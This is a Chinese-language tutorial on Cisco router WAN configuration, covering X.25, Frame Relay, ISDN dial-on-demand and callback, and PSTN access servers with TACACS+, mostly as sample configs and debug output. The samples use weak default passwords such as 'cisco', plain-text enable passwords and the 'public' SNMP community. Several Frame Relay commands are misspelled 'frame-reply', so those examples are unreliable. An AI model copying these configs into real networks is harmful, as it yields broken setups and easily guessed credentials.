<br/>设置最大的双向虚电路数 x25 htc citcuit-number1 <br/>设置一次连接可同时建立的虚电路数 x25 nvc count2 <br/>设置x25在清除空闲虚电路前的等待周期 x25 idle minutes <br/>重新启动x25，或清一个svc，启动一个pvc相关参数 clear x25 &#123;serial number &#124; cmns-interface mac-address&#125; [vc-number] 3 <br/>清x25虚电路 clear x25-vc <br/>显示接口及x25相关信息 show interfaces serial show x25 interface show x25 map show x25 vc <br/>注：1、虚电路号从1到4095，Cisco路由器默认为1024，国内一般分配为16。 <br/>2、虚电路计数从1到8，缺省为1。 <br/>3、在改变了x.25各层的相关参数后，应重新启动x25(使用clear x25 &#123;serial number &#124; cmns-interface mac-address&#125; [vc-number]或clear x25-vc命令)，否则新设置的参数可能不能生效。同时应对照服务提供商对于x.25交换机端口的设置来配置路由器的相关参数，若出现参数不匹配则可能会导致连接失败或其它意外情况。 <br/>3. 实例：<br/>3.1. 在以下实例中每二个路由器间均通过svc实现连接。<br/><br/><br/>路由器设置如下： <br/>Router1: <br/>interface Serial0 <br/>encapsulation x25 <br/>ip address 192.200.10.1 255.255.255.0 <br/>x25 address 110101 <br/>x25 htc 16 <br/>x25 nvc 2 <br/>x25 map ip 192.200.10.2 110102 broadcast <br/>x25 map ip 192.200.10.3 110103 broadcast <br/>! <br/><br/>Router2: <br/>interface Serial0 <br/>encapsulation x25 <br/>ip address 192.200.10.2 255.255.255.0 <br/>x25 address 110102 <br/>x25 htc 16 <br/>x25 nvc 2 <br/>x25 map ip 192.200.10.1 110101 broadcast <br/>x25 map ip 192.200.10.3 110103 broadcast <br/>! <br/><br/>Router: <br/>interface Serial0 <br/>encapsulation x25 <br/>ip address 192.200.10.3 255.255.255.0 <br/>x25 address 110103 <br/>x25 htc 16 <br/>x25 nvc 2 <br/>x25 map ip 192.200.10.1 110101 broadcast <br/>x25 map ip 192.200.10.2 110102 broadcast <br/>! <br/><br/>相关调试命令： <br/>clear x25-vc <br/>show interfaces serial <br/>show x25 map <br/>show x25 route <br/>show x25 vc <br/>3.2. 在以下实例中路由器router1和router2均通过svc与router连接，但router1和router2不通过svc直接连接，此三个路由器的串口运行RIP路由协议，使用了子接口的概念。由于使用子接口，router1和router2均学习到了访问对方局域网的路径，若不使用子接口，router1和router2将学不到到对方局域网的路由。<br/><br/>子接口（Subinterface）是一个物理接口上的多个虚接口，可以用于在同一个物理接口上连接多个网。我们知道为了避免路由循环，路由器支持split horizon法则，它只允许路由更新被分配到路由器的其它接口，而不会再分配路由更新回到此路由被接收的接口。<br/>无论如何，在广域网环境使用基于连接的接口(象 X.25和Frame Relay)，同一接口通过虚电路(vc)连接多台远端路由器时，从同一接口来的路由更新信息不可以再被发回到相同的接口，除非强制使用分开的物理接口连接不同的路由器。Cisco提供子接口（subinterface）作为分开的接口对待。你可以将路由器逻辑地连接到相同物理接口的不同子接口, 这样来自不同子接口的路由更新就可以被分配到其他子接口，同时又满足split horizon法则。<br/><br/>Router1: <br/>interface Serial0 <br/>encapsulation x25 <br/>ip address 192.200.10.1 255.255.255.0 <br/>x25 address 110101 <br/>x25 htc 16 <br/>x25 nvc 2 <br/>x25 map ip 192.200.10.3 110103 broadcast <br/>! <br/>router rip <br/>network 192.200.10.0 <br/>! <br/><br/>Router2: <br/>interface Serial0 <br/>encapsulation x25 <br/>ip address 192.200.11.2 255.255.255.0 <br/>x25 address 110102 <br/>x25 htc 16 <br/>x25 nvc 2 <br/>x25 map ip 192.200.11.3 110103 broadcast <br/>! <br/>router rip <br/>network 192.200.11.0 <br/>! <br/><br/>Router: <br/>interface Serial0 <br/>encapsulation x25 <br/>x25 address 110103 <br/>x25 htc 16 <br/>x25 nvc 2 <br/>! <br/>interface Serial0.1 point-to-point <br/>ip address 192.200.10.3 255.255.255.0 <br/>x25 map ip 192.200.10.1 110101 broadcast <br/>! <br/>interface Serial0.2 point-to-point <br/>ip address 192.200.11.3 255.255.255.0 <br/>x25 map ip 192.200.11.2 110102 broadcast <br/>! <br/>router rip <br/>network 192.200.10.0 <br/>network 192.200.11.0 <br/>!<br/>返回目录<br/>　<br/><br/><br/>帧中继是一种高性能的WAN协议，它运行在OSI参考模型的物理层和数据链路层。它是一种数据包交换技术，是X.25的简化版本。它省略了X.25的一些强健功能，如提供窗口技术和数据重发技术，而是依靠高层协议提供纠错功能，这是因为帧中继工作在更好的WAN设备上，这些设备较之X.25的WAN设备具有更可靠的连接服务和更高的可靠性，它严格地对应于OSI参考模型的最低二层，而X.25还提供第三层的服务，所以，帧中继比X.25具有更高的性能和更有效的传输效率。 <br/>帧中继广域网的设备分为数据终端设备（DTE）和数据电路终端设备（DCE），Cisco路由器作为 DTE设备。 <br/>帧中继技术提供面向连接的数据链路层的通信，在每对设备之间都存在一条定义好的通信链路，且该链路有一个链路识别码。这种服务通过帧中继虚电路实现，每个帧中继虚电路都以数据链路识别码（DLCI）标识自己。DLCI的值一般由帧中继服务提供商指定。帧中继即支持PVC也支持SVC。 <br/>帧中继本地管理接口（LMI）是对基本的帧中继标准的扩展。它是路由器和帧中继交换机之间信令标准，提供帧中继管理机制。它提供了许多管理复杂互联网络的特性，其中包括全局寻址、虚电路状态消息和多目发送等功能。 <br/>2. 有关命令: <br/>端口设置 <br/>任务 命令 <br/>设置Frame Relay封装 encapsulation frame-relay[ietf] 1<br/>设置Frame Relay LMI类型 frame-relay lmi-type &#123;ansi &#124; cisco &#124; q933a&#125;2<br/>设置子接口 interface interface-type interface-number.subinterface-number [multipoint&#124;point-to-point] <br/>映射协议地址与DLCI frame-relay map protocol protocol-address dlci [broadcast]3<br/>设置FR DLCI编号 frame-relay interface-dlci dlci [broadcast] <br/>注：1.若使Cisco路由器与其它厂家路由设备相连，则使用Internet工程任务组（IETF）规定的帧中继封装格式。 <br/>2.从Cisco IOS版本11.2开始，软件支持本地管理接口（LMI）“自动感觉”， “自动感觉”使接口能确定交换机支持的LMI类型，用户可以不明确配置LMI接口类型。 <br/>3.broadcast选项允许在帧中继网络上传输路由广播信息。<br/>3. 帧中继point to point配置实例： <br/>Router1: <br/>interface serial 0 <br/>encapsulation frame-relay <br/>! <br/>interface serial 0.1 point-to-point <br/>ip address 172.16.1.1 255.255.255.0 <br/>frame-reply interface-dlci 105 <br/>! <br/>interface serial 0.2 point-to-point <br/>ip address 172.16.2.1 255.255.255.0 <br/>frame-reply interface-dlci 102 <br/>! <br/>interface serial 0.3 point-to-point <br/>ip address 172.16.4.1 255.255.255.0 <br/>frame-reply interface-dlci 104 <br/>! <br/>Router2: <br/>interface serial 0 <br/>encapsulation frame-relay <br/>! <br/>interface serial 0.1 point-to-point <br/>ip address 172.16.2.2 255.255.255.0 <br/>frame-reply interface-dlci 201 <br/>! <br/>interface serial 0.2 point-to-point <br/>ip address 172.16.3.1 255.255.255.0 <br/>frame-reply interface-dlci 203 <br/>! <br/>相关调试命令： <br/>show frame-relay lmi <br/>show frame-relay map <br/>show frame-relay pvc <br/>show frame-relay route <br/>show interfaces serial <br/>go top <br/>4. 帧中继 Multipoint 配置实例:<br/><br/>Router1: <br/>interface serial 0 <br/>encapsulation frame-reply <br/>! <br/>interface serial 0.1 multipoint <br/>ip address 172.16.1.2 255.255.255.0 <br/>frame-reply map ip 172.16.1.1 201 broadcast <br/>frame-reply map ip 172.16.1.3 301 broadcast <br/>frame-reply map ip 172.16.1.4 401 broadcast <br/>! <br/>Router2: <br/>interface serial 0 <br/>encapsulation frame-reply <br/>! <br/>interface serial 0.1 multipoint <br/>ip address 172.16.1.1 255.255.255.0 <br/>frame-reply map ip 172.16.1.2 102 broadcast <br/>frame-reply map ip 172.16.1.3 102 broadcast <br/>frame-reply map ip 172.16.1.4 102 broadcast <br/>!<br/>五、ISDN <br/>　<br/>1. 综合数字业务网（ISDN）<br/>综合数字业务网（ISDN）由数字电话和数据传输服务两部分组成，一般由电话局提供这种服务。ISDN的基本速率接口（BRI）服务提供2个B信道和1个D信道（2B+D）。BRI的B信道速率为64Kbps,用于传输用户数据。D信道的速率为16Kbps，主要传输控制信号。在北美和日本，ISDN的主速率接口（PRI）提供23个B信道和1个D信道，总速率可达1.544Mbps，其中D信道速率为64Kbps。而在欧洲、澳大利亚等国家，ISDN的PRI提供30个B信道和1个64Kbps D信道，总速率可达2.048Mbps。我国电话局所提供ISDN PRI为30B+D。<br/>2. 基本命令<br/>任务 命令 <br/>设置ISDN交换类型 isdn switch-type switch-type1 <br/>接口设置 interface bri 0 <br/>设置PPP封装 encapsulation ppp <br/>设置协议地址与电话号码的映射 dialer map protocol next-hop-address [name hostname] [broadcast] [dial-string] <br/>启动PPP多连接 ppp multilink <br/>设置启动另一个B通道的阈值 dialer load-threshold load <br/>显示ISDN有关信息 show isdn &#123;active &#124; history &#124; memory &#124; services &#124; status [dsl &#124; interface-type number] &#124; timers&#125; <br/>注：1.交换机类型如下表,国内交换机一般为basic-net3。 <br/>按区域分关键字 交换机类型 <br/>Australia <br/>basic-ts013 Australian TS013 switches <br/>Europe <br/>basic-1tr6 German 1TR6 ISDN switches <br/>basic-nwnet3 Norway NET3 switches (phase 1) <br/>basic-net3 NET3 ISDN switches (UK, Denmark, and other nations); covers the Euro-ISDN E-DSS1 signalling system <br/>primary-net5 NET5 switches (UK and Europe) <br/>vn2 French VN2 ISDN switches <br/>vn3 French VN3 ISDN switches <br/>Japan <br/>ntt Japanese NTT ISDN switches <br/>primary-ntt Japanese ISDN PRI switches <br/>North America <br/>basic-5ess AT&T basic rate switches <br/>basic-dms100 NT DMS-100 basic rate switches <br/>basic-ni1 National ISDN-1 switches <br/>primary-4ess AT&T 4ESS switch type for the U.S. (ISDN PRI only) <br/>primary-5ess AT&T 5ESS switch type for the U.S. (ISDN PRI only) <br/>primary-dms100 NT DMS-100 switch type for the U.S. (ISDN PRI only) <br/>New Zealand <br/>basic-nznet3 New Zealand Net3 switches <br/>3. ISDN实现DDR（dial-on-demand routing）实例:<br/>设置如下：<br/>Router1:<br/>hostname router1 <br/>user router2 password cisco <br/>! <br/>isdn switch-type basic-net3 <br/>! <br/>interface bri 0 <br/>ip address 192.200.10.1 255.255.255.0 <br/>encapsulation ppp <br/>dialer map ip 192.200.10.2 name router2 572 <br/>dialer load-threshold 80 <br/>ppp multilink <br/>dialer-group 1 <br/>ppp authentication chap <br/>！ <br/>dialer-list 1 protocol ip permit <br/>! <br/><br/>Router2: <br/>hostname router2 <br/>user router1 password cisco <br/>! <br/>isdn switch-type basic-net3 <br/>! <br/>interface bri 0 <br/>ip address 192.200.10.2 255.255.255.0 <br/>encapsulation ppp <br/>dialer map ip 192.200.10.1 name router1 571 <br/>dialer load-threshold 80 <br/>ppp multilink <br/>dialer-group 1 <br/>ppp authentication chap <br/>！ <br/>dialer-list 1 protocol ip permit <br/>!<br/>Cisco路由器同时支持回拨功能，我们将路由器Router1作为Callback Server,Router2作为Callback Client。<br/>与回拨相关命令: <br/>任务 命令 <br/>映射协议地址和电话号码，并在接口上使用在全局模式下定义的PPP回拨的映射类别。 dialer map protocol address name hostname class classname dial-string <br/>设置接口支持PPP回拨 ppp callback accept <br/>在全局模式下为PPP回拨设置映射类别 map-class dialer classname <br/>通过查找注册在dialer map里的主机名来决定回拨. dialer callback-server [username] <br/>设置接口要求PPP回拨 ppp callback request <br/>设置如下：<br/>Router1:<br/>hostname router1 <br/>user router2 password cisco <br/>! <br/>isdn switch-type basic-net3 <br/>! <br/>interface bri 0 <br/>ip address 192.200.10.1 255.255.255.0 <br/>encapsulation ppp <br/>dialer map ip 192.200.10.2 name router2 class s3 572 <br/>dialer load-threshold 80 <br/>ppp callback accept <br/>ppp multilink <br/>dialer-group 1 <br/>ppp authentication chap <br/>！ <br/>map-class dialer s3 <br/>dialer callback-server username <br/>dialer-list 1 protocol ip permit <br/>! <br/><br/>Router2: <br/>hostname router2 <br/>user router1 password cisco <br/>! <br/>isdn switch-type basic-net3 <br/>! <br/>interface bri 0 <br/>ip address 192.200.10.2 255.255.255.0 <br/>encapsulation ppp <br/>dialer map ip 192.200.10.1 name router1 571 <br/>dialer load-threshold 80 <br/>ppp callback request <br/>ppp multilink <br/>dialer-group 1 <br/>ppp authentication chap <br/>！ <br/>dialer-list 1 protocol ip permit <br/>! <br/>相关调试命令： <br/>debug dialer <br/>debug isdn event <br/>debug isdn q921 <br/>debug isdn q931 <br/>debug ppp authentication <br/>debug ppp error <br/>debug ppp negotiation <br/>debug ppp packet <br/>show dialer <br/>show isdn status <br/>举例:执行debug dialer命令观察router2呼叫router1,router1回拨router2的过程. <br/>router1#debug dialer <br/>router2#ping 192.200.10.1 <br/><br/>router1# <br/>00:03:50: %LINK-3-UPDOWN: Interface BRI0:1, changed state to up <br/>00:03:50: BRI0:1:PPP callback Callback server starting to router2 572 <br/>00:03:50: BRI0:1: disconnecting call <br/>00:03:50: %LINK-3-UPDOWN: Interface BRI0:1, changed state to down <br/>00:03:50: BRI0:1: disconnecting call <br/>00:03:50: BRI0:1: disconnecting call <br/>00:03:51: %LINK-3-UPDOWN: Interface BRI0:2, changed state to up <br/>00:03:52: callback to router2 already started <br/>00:03:52: BRI0:2: disconnecting call <br/>00:03:52: %LINK-3-UPDOWN: Interface BRI0:2, changed state to down <br/>00:03:52: BRI0:2: disconnecting call <br/>00:03:52: BRI0:2: disconnecting call <br/>00:04:05: : Callback timer expired <br/>00:04:05: BRI0:beginning callback to router2 572 <br/>00:04:05: BRI0: Attempting to dial 572 <br/>00:04:05: Freeing callback to router2 572 <br/>00:04:05: %LINK-3-UPDOWN: Interface BRI0:1, changed state to up <br/>00:04:05: BRI0:1: No callback negotiated <br/>00:04:05: %LINK-3-UPDOWN: Interface Virtual-Access1, changed state to up <br/>00:04:05: dialer Protocol up for Vi1 <br/>00:04:06: %LINEPROTO-5-UPDOWN: Line protocol on Interface BRI0:1, changed state <br/>to up <br/>00:04:06: %LINEPROTO-5-UPDOWN: Line protocol on Interface Virtual-Access1, chang <br/>ed state to up <br/>00:04:11: %ISDN-6-CONNECT: Interface BRI0:1 is now connected to 572 <br/>#router1 <br/>4. ISDN访问首都在线263网实例: <br/>本地局部网地址为10.0.0.0/24,属于保留地址，通过NAT地址翻译功能，局域网用户可以通过ISDN上263网访问Internet。263的ISDN电话号码为2633，用户为263，口令为263，所涉及的命令如下表：<br/>任务 命令 <br/>指定接口通过PPP/IPCP地址协商获得IP地址 ip address negotiated <br/>指定内部和外部端口 ip nat &#123;inside &#124; outside&#125; <br/>使用ppp/pap作认证 ppp authentication pap callin <br/>指定接口属于拨号组1 dialer-group 1 <br/>定义拨号组1允许所有IP协议 dialer-list 1 protocol ip permit <br/>设定拨号，号码为2633 dialer string 2633 <br/>设定登录263的用户名和口令 ppp pap sent-username 263 password 263 <br/>设定默认路由 ip route 0.0.0.0 0.0.0.0 bri 0 <br/>设定符合访问列表2的所有源地址被翻译为bri 0所拥有的地址 ip nat inside source list 2 interface bri 0 overload <br/>设定访问列表2，允许所有协议 access-list 2 permit any <br/>具体配置如下：<br/>hostname Cisco2503 <br/>! <br/>isdn switch-type basic-net3 <br/>! <br/>ip subnet-zero <br/>no ip domain-lookup <br/>ip routing <br/>! <br/>interface Ethernet 0 <br/>ip address 10.0.0.1 255.255.255.0 <br/>ip nat inside <br/>no shutdown <br/>! <br/>interface Serial 0 <br/>shutdown <br/>no description <br/>no ip address <br/>! <br/>interface Serial 1 <br/>shutdown <br/>no description <br/>no ip address <br/>! <br/>interface bri 0 <br/>ip address negotiated <br/>ip nat outside <br/>encapsulation ppp <br/>ppp authentication pap callin <br/>ppp multilink <br/>dialer-group 1 <br/>dialer hold-queue 10 <br/>dialer string 2633 <br/>dialer idle-timeout 120 <br/>ppp pap sent-username 263 password 263 <br/>no cdp enable <br/>no ip split-horizon <br/>no shutdown <br/>! <br/>ip classless <br/>! <br/>! Static Routes <br/>! <br/>ip route 0.0.0.0 0.0.0.0 bri 0 <br/>! <br/>! Access Control List 2 <br/>! <br/>access-list 2 permit any <br/>! <br/>dialer-list 1 protocol ip permit <br/>! <br/>! Dynamic NAT <br/>! <br/>ip nat inside source list 2 interface bri 0 overload <br/>snmp-server community public ro <br/>! <br/>line console 0 <br/>exec-timeout 0 0 <br/>! <br/>line vty 0 4 <br/>! <br/>end <br/>5. Cisco765M通过ISDN拨号上263<br/>由于Cisco765的设置命令与我们常用的Cisco路由器的命令不同，所以以下列举了通过Cisco765上263访问Internet的具体命令行设置步骤。<br/><br/>>set system c765<br/>c765> set multidestination on<br/>c765> set switch net3<br/>c765> set ppp multilink on<br/>c765> cd lan<br/>c765:LAN> set ip routing on<br/>c765:LAN> set ip address 10.0.0.1<br/>c765:LAN> set ip netmask 255.0.0.0<br/>c765:LAN> set briding off<br/>c765:LAN>cd<br/>c765> set user remotenet<br/>New user remotenet being created<br/>c765:remotenet> set ip routing on<br/>c765:remotenet> set bridging off<br/>c765:remotenet> set ip framing none<br/>c765:remotenet> set ppp clientname 263<br/>c765:remotenet> set ppp password client<br/>Enter new Password: 263<br/>Re-Type new Password: 263<br/>c765:remotenet> set ppp authentication out none<br/>c765:remotenet> set ip address 0.0.0.0<br/>c765:remotenet> set ip netmask 0.0.0.0<br/>c765:remotenet> set ppp address negotiation local on<br/>c765:remotenet> set ip pat on<br/>c765:remotenet> set ip route destination 0.0.0.0/0 gateway 0.0.0.0<br/>c765:remotenet> set number 2633<br/>c765:remotenet> set active<br/>命令描述如下： <br/>任务 命令 <br/>设置路由器系统名称 set system c765 <br/>允许路由器呼叫多个目的地 set multidestination on <br/>设置ISDN交换机类型为NET3 set switch net3 <br/>允许点到点间多条通道连接实现负载均衡 set ppp multilink on <br/>关掉桥接 set briding off <br/>建立用户预制文件用于设置拨号连接参数- 可以设置多个用户预制文件用于相同的物理端口对应于不同的连接。 set user remotenet <br/>使用PPP/IPCP set ip framing none <br/>设置上网用户帐号 set ppp clientname 263 <br/>设置上网口令 set ppp password client Enter new Password: 263 Re-Type new Password: 263 <br/>不用PPP/CHAP或PAP做认证 set ppp authentication out none <br/>允许地址磋商 set ppp address negotiation local on <br/>设置地址翻译 set ip pat on <br/>设置默认路由 set ip route destination 0.0.0.0/0 gateway 0.0.0.0 <br/>设置ISP的电话号码 set number 2633 <br/>激活用户预制文件 set active <br/>　<br/>返回目录<br/>　<br/>六、PSTN<br/>　　电话网络(PSTN)是目前普及程度最高、成本最低的公用通讯网络，它在网络互连中也有广泛的应用。电话网络的应用一般可分为两种类型，一种是同等级别机构之间以按需拨号(DDR)的方式实现互连，一种是ISP为拨号上网为用户提供的远程访问服务的功能。<br/>1. 远程访问<br/><br/>1.1.Access Server基本设置：<br/>选用Cisco2511作为访问服务器,采用IP地址池动态分配地址.远程工作站使用WIN95拨号网络实现连接。 <br/>全局设置：<br/>任务 命令 <br/>设置用户名和密码 username username password password <br/>设置用户的IP地址池 ip local pool &#123;default &#124; pool-name low-ip-address [high-ip-address]&#125; <br/>指定地址池的工作方式 ip address-pool [dhcp-proxy-client &#124; local] <br/>基本接口设置命令： <br/>任务 命令 <br/>设置封装形式为PPP encapsulation ppp <br/>启动异步口的路由功能 async default routing <br/>设置异步口的PPP工作方式 async mode &#123;dedicated &#124; interactive&#125; <br/>设置用户的IP地址 peer default ip address &#123;ip-address &#124; dhcp &#124; pool [pool-name]&#125; <br/>设置IP地址与Ethernet0相同 ip unnumbered ethernet0 <br/>line拨号线设置： <br/>任务 命令 <br/>设置modem的工作方式 modem &#123;inout&#124;dialin&#125; <br/>自动配置modem类型 modem autoconfig discovery <br/>设置拨号线的通讯速率 speed speed <br/>设置通讯线路的流控方式 flowcontrol &#123;none &#124; software [lock] [in &#124; out] &#124; hardware [in &#124; out]&#125; <br/>连通后自动执行命令 autocommand command <br/>访问服务器设置如下：<br/>Router: <br/>hostname Router <br/>enable secret 5 $1$EFqU$tYLJLrynNUKzE4bx6fmH// <br/>! <br/>interface Ethernet0 <br/>ip address 10.111.4.20 255.255.255.0 <br/>! <br/>interface Async1 <br/>ip unnumbered Ethernet0 <br/>encapsulation ppp <br/>keepalive 10 <br/>async mode interactive <br/>peer default ip address pool Cisco2511-Group-142 <br/>! <br/>ip local pool Cisco2511-Group-142 10.111.4.21 10.111.4.36 <br/>! <br/>line con 0<br/>exec-timeout 0 0<br/>password cisco<br/>!<br/>line 1 16 <br/>modem InOut <br/>modem autoconfigure discovery <br/>flowcontrol hardware <br/>! <br/>line aux 0<br/>transport input all<br/>line vty 0 4<br/>password cisco<br/>!<br/>end <br/>相关调试命令： <br/>show interface <br/>show line <br/>1.2. Access Server通过Tacacs服务器实现安全认证：<br/>使用一台WINDOWS NT服务器作为Tacacs服务器，地址为10.111.4.2,运行Cisco2511随机带的Easy ACS 1.0软件实现用户认证功能.<br/>相关设置：<br/>任务 命令 <br/>激活AAA访问控制 aaa new-model <br/>用户登录时默认起用Tacacs+做AAA认证 aaa authentication login default tacacs+ <br/>列表名为no_tacacs使用ENABLE口令做认证 aaa authentication login no_tacacs enable <br/>在运行PPP的串行线上采用Tacacs+做认证 aaa authentication ppp default tacacs+ <br/>由TACACS+服务器授权运行EXEC aaa authorization exec tacacs+ <br/>由TACACS+服务器授权与网络相关的服务请求。 aaa authorization network tacacs+ <br/>为EXEC会话运行记帐.进程开始和结束时发通告给TACACS+服务器。 aaa accounting exec start-stop tacacs+ <br/>为与网络相关的服务需求运行记帐包括SLIP,PPP,PPP NCPs,ARAP等.在进程开始和结束时发通告给TACACS+服务器。 aaa accounting network start-stop tacacs+ <br/>指定Tacacs服务器地址 tacacs-server host 10.111.4.2 <br/>在Tacacs+服务器和访问服务器设定共享的关键字，访问服务器和Tacacs+服务器使用这个关键字去加密口令和响应信息。这里使用tac作为关键字。 tacacs-server key tac <br/>访问服务器设置如下：<br/>hostname router<br/>!<br/>aaa new-model<br/>aaa authentication login default tacacs+<br/>aaa authentication login no_tacacs enable<br/>aaa authentication ppp default tacacs+<br/>aaa authorization exec tacacs+<br/>aaa authorization network tacacs+<br/>aaa accounting exec start-stop tacacs+<br/>aaa accounting network start-stop tacacs+<br/>enable secret 5 $1$kN4g$CvS4d2.rJzWntCnn/0hvE0<br/>!<br/>interface Ethernet0<br/>ip address 10.111.4.20 255.255.255.0<br/>!<br/>interface Serial0<br/>no ip address<br/>shutdown<br/>interface Serial1<br/>no ip address<br/>shutdown<br/>!<br/>interface Group-Async1<br/>ip unnumbered Ethernet0<br/>encapsulation ppp<br/>async mode interactive<br/>peer default ip address pool Cisco2511-Group-142<br/>no cdp enable<br/>group-range 1 16<br/>!<br/>ip local pool Cisco2511-Group-142 10.111.4.21 10.111.4.36<br/>tacacs-server host 10.111.4.2<br/>tacacs-server key tac<br/>!<br/>line con 0<br/>exec-timeout 0 0<br/>password cisco<br/>login authentication no_tacacs <br/>line 1 16<br/>login authentication tacacs<br/>modem InOut<br/>modem autoconfigure type usr_courier<br/>autocommand ppp<br/>transport input all<br/>stopbits 1<br/>rxspeed 115200<br/>txspeed 115200<br/>flowcontrol hardware<br/>line aux 0<br/>transport input all<br/>line vty 0 4<br/>password cisco<br/>!<br/>end<br/>2. DDR（dial-on-demand routing）实例<br/>此例通过Cisco 2500系列路由器的aux端口实现异步拨号DDR连接。Router1拨号连接到Router2。其中采用PPP/CHAP做安全认证，在Router1中应建立一个用户，以对端路由器主机名作为用户名，即用户名应为Router2。同时在Router2中应建立一个用户，以对端路由器主机名作为用户名，即用户名应为Router1。所建的这两用户的password必须相同。 <br/>相关命令如下： <br/>任务 命令 <br/>设置路由器与modem的接口指令 chat-script script-name EXPECT SEND EXPECT SEND (etc.) <br/>设置端口在挂断前的等待时间 dialer idle-timeout seconds <br/>设置协议地址与电话号码的映射 dialer map protocol next-hop-address [name hostname] [broadcast] [modem-script modem-regexp] [system-script system-regexp] [dial-string] <br/>设置电话号码 dialer string dial-string <br/>指定在特定线路下路由器默认 使用的chat-script script &#123;dialer&#124;reset&#125; script-name <br/>Router1: <br/>hostname Router1 <br/>! <br/>enable secret 5 $1$QKI7$wXjpFqC74vDAyKBUMallw/ <br/>! <br/>username Router2 password cisco <br/>chat-script cisco-default "" "AT" TIMEOUT 30 OK "ATDT &#92;T" TIMEOUT 30 CONNECT &#92;c <br/>! <br/>interface Ethernet0 <br/>ip address 10.0.0.1 255.255.255.0 <br/>! <br/>interface Async1 <br/>ip address 192.200.10.1 255.255.255.0 <br/>encapsulation ppp <br/>async default routing <br/>async mode dedicated <br/>dialer in-band <br/>dialer idle-timeout 60 <br/>dialer map ip 192.200.10.2 name Router2 modem-script cisco-default 573 <br/>dialer-group 1 <br/>ppp authentication chap <br/>! <br/>ip route 10.0.1.0 255.255.255.0 192.200.10.2 <br/>dialer-list 1 protocol ip permit <br/>! <br/>line con 0 <br/>line aux 0 <br/>modem InOut <br/>modem autoconfigure discovery <br/>flowcontrol hardware <br/><br/>Router2: <br/>hostname Router2 <br/>! <br/>enable secret 5 $1$F6EV$5U8puzNt2/o9g.t56PXHo. <br/>! <br/>username Router1 password cisco <br/>! <br/>interface Ethernet0 <br/>ip address 10.0.1.1 255.255.255.0 <br/>! <br/>interface Async1 <br/>ip address 192.200.10.2 255.255.255.0 <br/>encapsulation ppp <br/>async default routing <br/>async mode dedicated <br/>dialer in-band <br/>dialer idle-timeout 60 <br/>dialer map ip 192.200.10.1 name Router1 <br/>dialer-group 1 <br/>ppp authentication chap <br/>! <br/>ip route 10.0.0.0 255.255.255.0 192.200.10.1 <br/>dialer-list 1 protocol ip permit <br/>! <br/>line con 0 <br/>line aux 0 <br/>modem InOut <br/>modem autoconfigure discovery <br/>flowcontrol hardware <br/>! <br/>相关调试命令： <br/>debug dialer <br/>debug ppp authentication <br/>debug ppp error <br/>debug ppp negotiation <br/>debug ppp packet <br/>show dialer <br/>3. 异步拨号备份DDN专线：<br/>此例主连接采用DDN专线，备份线路为电话拨号。当DDN专线连接正常时，主端口S0状态为up，line protocol亦为up,则备份线路状态为standby，line protocol为down，此时所有通信均通过主接口进行。当主接口连接发生故障时，端口状态为down，则激活备份接口，完成数据通信。此方法不适合为X.25做备份。因为，配置封装为X.25的接口只要和X.25交换机之间的连接正常其接口及line protocol的状态亦为 up,它并不考虑其它地方需与之通信的路由器的状态如何，所以若本地路由器状态正常，而对方路由器连接即使发生故障，本地也不会激活备份线路。例4将会描述如何为X.25做拨号备份。 <br/>以下是相关命令： <br/>任务 命令 <br/>指定主线路改变后，次线路状态发生改变的延迟时间 backup delay &#123;enable-delay &#124; never&#125; &#123;disable-delay &#124; never&#125; <br/>指定一个接口作为备份接口 backup interface type number <br/>hostname c2522rb<br/>!<br/>enable secret 5 $1$J5vn$ceYDe2FwPhrZi6qsIIz6g0<br/>enable password cisco<br/>!<br/>username c4700 password 0 cisco<br/>ip subnet-zero<br/>chat-script cisco-default "" "AT" TIMEOUT 30 OK "ATDT &#92;T" TIMEOUT 30 CONNECT &#92;c<br/>chat-script reset atz<br/>!<br/>interface Ethernet0<br/>ip address 16.122.51.254 255.255.255.0<br/>no ip mroute-cache<br/>!<br/>interface Serial0<br/>backup delay 10 10<br/>backup interface Serial2<br/>ip address 16.250.123.18 255.255.255.252<br/>no ip mroute-cache<br/>no fair-queue<br/>!<br/>interface Serial1<br/>no ip address<br/>no ip mroute-cache<br/>shutdown<br/>!<br/>interface Serial2<br/>physical-layer async<br/>ip address 16.249.123.18 255.255.255.252<br/>encapsulation ppp<br/>async mode dedicated<br/>dialer in-band<br/>dialer idle-timeout 60<br/>dialer map ip 16.249.123.17 name c4700 6825179<br/>dialer-group 1<br/>ppp authentication chap<br/>!<br/>interface Serial3<br/>no ip address<br/>shutdown<br/>no cdp enable<br/>!<br/>interface Serial4<br/>no ip address<br/>shutdown<br/>no cdp enable<br/>!<br/>interface Serial5<br/>no ip address<br/>no ip mroute-cache<br/>shutdown<br/>!<br/>interface Serial6<br/>no ip address<br/>no ip mroute-cache<br/>shutdown<br/>!<br/>interface Serial7<br/>no ip address<br/>no ip mroute-cache<br/>shutdown<br/>!<br/>interface Serial8<br/>no ip address<br/>no ip mroute-cache<br/>shutdown<br/>!<br/>interface Serial9<br/>no ip address<br/>no ip mroute-cache<br/>shutdown<br/>!<br/>interface BRI0<br/>no ip address<br/>no ip mroute-cache<br/>shutdown<br/>!<br/>router eigrp 200<br/>network 16.0.0.0<br/>!<br/>ip classless<br/>!<br/>dialer-list 1 protocol ip permit<br/>!<br/>line con 0<br/>line 2<br/>script dialer cisco-default<br/>script reset reset<br/>modem InOut<br/>modem autoconfigure discovery<br/>rxspeed 38400<br/>txspeed 38400<br/>flowcontrol hardware<br/>line aux 0<br/>line vty 0 4<br/>password cisco<br/>login<br/>!<br/>end<br/>c2522rb#<br/>4. 异步拨号备份X.25:<br/>设置X.25的拨号备份,首先X.25连接的端口必须运行动态路由协议,异步拨号口必须使用静态路由.本例选择EIGRP作为路由选择协议,将静态路由的Metric的值设置为200,由于EIGRP的默认Metric为90,所以当同时有两条路径通往同一网段时,其中Metric值小的路径生效,而当X.25连接出现问题时,路由器无法通过路由协议学习到路由表，则此时静态路由生效，访问通过拨号端口实现。当X.25连接恢复正常时，路由器又可以学习到路由表，则由于 Metric值的不同，静态路由自动被动态路由所代替，这样就实现了备份的功能。<br/>路由器Router1配置如下:<br/>hostname router1<br/>!<br/>enable secret 5 $1$UTvD$99YiY2XsRMxHudcYeHn.Y.<br/>enable password cisco<br/>!<br/>username router2 password cisco<br/>ip subnet-zero<br/>chat-script cisco-default "" "AT" TIMEOUT 30 OK "ATDT &#92;T" TIMEOUT 30 CONNECT &#92;c<br/>chat-script reset atz<br/>interface Ethernet0<br/>ip address 202.96.38.100 255.255.255.0<br/>!<br/>interface Serial0<br/>ip address 202.96.0.1 255.255.255.0<br/>encapsulation x25<br/>x25 address 10112227<br/>x25 htc 16<br/>x25 map ip 